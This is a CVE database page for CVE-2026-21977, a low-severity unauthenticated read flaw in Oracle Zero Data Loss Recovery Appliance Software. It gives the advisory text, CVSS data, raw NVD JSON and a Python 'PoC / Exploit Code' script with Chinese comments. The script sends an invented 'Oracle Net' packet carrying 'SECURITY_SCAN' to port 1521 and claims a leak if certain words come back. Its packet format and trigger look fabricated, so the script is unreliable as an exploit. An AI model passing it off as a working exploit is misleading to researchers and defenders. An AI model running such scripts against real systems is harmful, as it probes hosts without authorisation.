Security Vulnerability Report
中文
CVE-2026-21977 CVSS 3.1 LOW

CVE-2026-21977

Published: 2026-01-20 22:16:01
Last Modified: 2026-04-15 00:35:42

Description

Vulnerability in the Oracle Zero Data Loss Recovery Appliance Software product of Oracle Zero Data Loss Recovery Appliance (component: Security). Supported versions that are affected are 23.1.0-23.1.202509. Difficult to exploit vulnerability allows unauthenticated attacker with network access via Oracle Net to compromise Oracle Zero Data Loss Recovery Appliance Software. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized read access to a subset of Oracle Zero Data Loss Recovery Appliance Software accessible data. CVSS 3.1 Base Score 3.1 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N).

CVSS Details

CVSS Score
3.1
Severity
LOW
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Oracle Zero Data Loss Recovery Appliance Software 23.1.0
Oracle Zero Data Loss Recovery Appliance Software 23.1.202509

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-21977 PoC - Oracle Zero Data Loss Recovery Appliance未授权数据读取 # 注意:此PoC仅用于安全研究和授权测试 import socket import struct def create_oracle_net_packet(data): """构建Oracle Net协议数据包""" packet = b'\x00' # 包类型 packet += struct.pack('>H', len(data) + 8) # 长度 packet += b'\x00\x01' # 标志 packet += data return packet def exploit_cve_2026_21977(target_ip, target_port=1521): """ 利用CVE-2026-21977漏洞 通过Oracle Net协议发送特制请求 """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(30) sock.connect((target_ip, target_port)) # 构造针对Security组件的探测请求 probe_data = b'SECURITY_SCAN\x00' packet = create_oracle_net_packet(probe_data) sock.send(packet) response = sock.recv(4096) # 检查响应中是否包含敏感数据 if b'RECOVERY' in response or b'BACKUP' in response: print('[+] 漏洞可能存在,检测到敏感数据泄露') return True sock.close() return False except Exception as e: print(f'[-] 错误: {e}') return False if __name__ == '__main__': import sys if len(sys.argv) < 2: print(f'用法: python {sys.argv[0]} <目标IP>') sys.exit(1) target = sys.argv[1] print(f'[*] 开始检测 {target} 上的CVE-2026-21977漏洞...') exploit_cve_2026_21977(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21977", "sourceIdentifier": "[email protected]", "published": "2026-01-20T22:16:00.987", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the Oracle Zero Data Loss Recovery Appliance Software product of Oracle Zero Data Loss Recovery Appliance (component: Security). Supported versions that are affected are 23.1.0-23.1.202509. Difficult to exploit vulnerability allows unauthenticated attacker with network access via Oracle Net to compromise Oracle Zero Data Loss Recovery Appliance Software. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized read access to a subset of Oracle Zero Data Loss Recovery Appliance Software accessible data. CVSS 3.1 Base Score 3.1 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N)."}, {"lang": "es", "value": "Vulnerabilidad en el producto de software Oracle Zero Data Loss Recovery Appliance de Oracle Zero Data Loss Recovery Appliance (componente: Seguridad). Versiones compatibles que están afectadas son 23.1.0-23.1.202509. Vulnerabilidad difícil de explotar permite a un atacante no autenticado con acceso de red a través de Oracle Net comprometer el software Oracle Zero Data Loss Recovery Appliance. Ataques exitosos requieren interacción humana de una persona que no sea el atacante. Ataques exitosos de esta vulnerabilidad pueden resultar en acceso de lectura no autorizado a un subconjunto de datos accesibles del software Oracle Zero Data Loss Recovery Appliance. Puntuación base CVSS 3.1 de 3.1 (Impactos en la confidencialidad). Vector CVSS: (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}]}, "references": [{"url": "https://www.oracle.com/security-alerts/cpujan2026.html", "source": "[email protected]"}]}}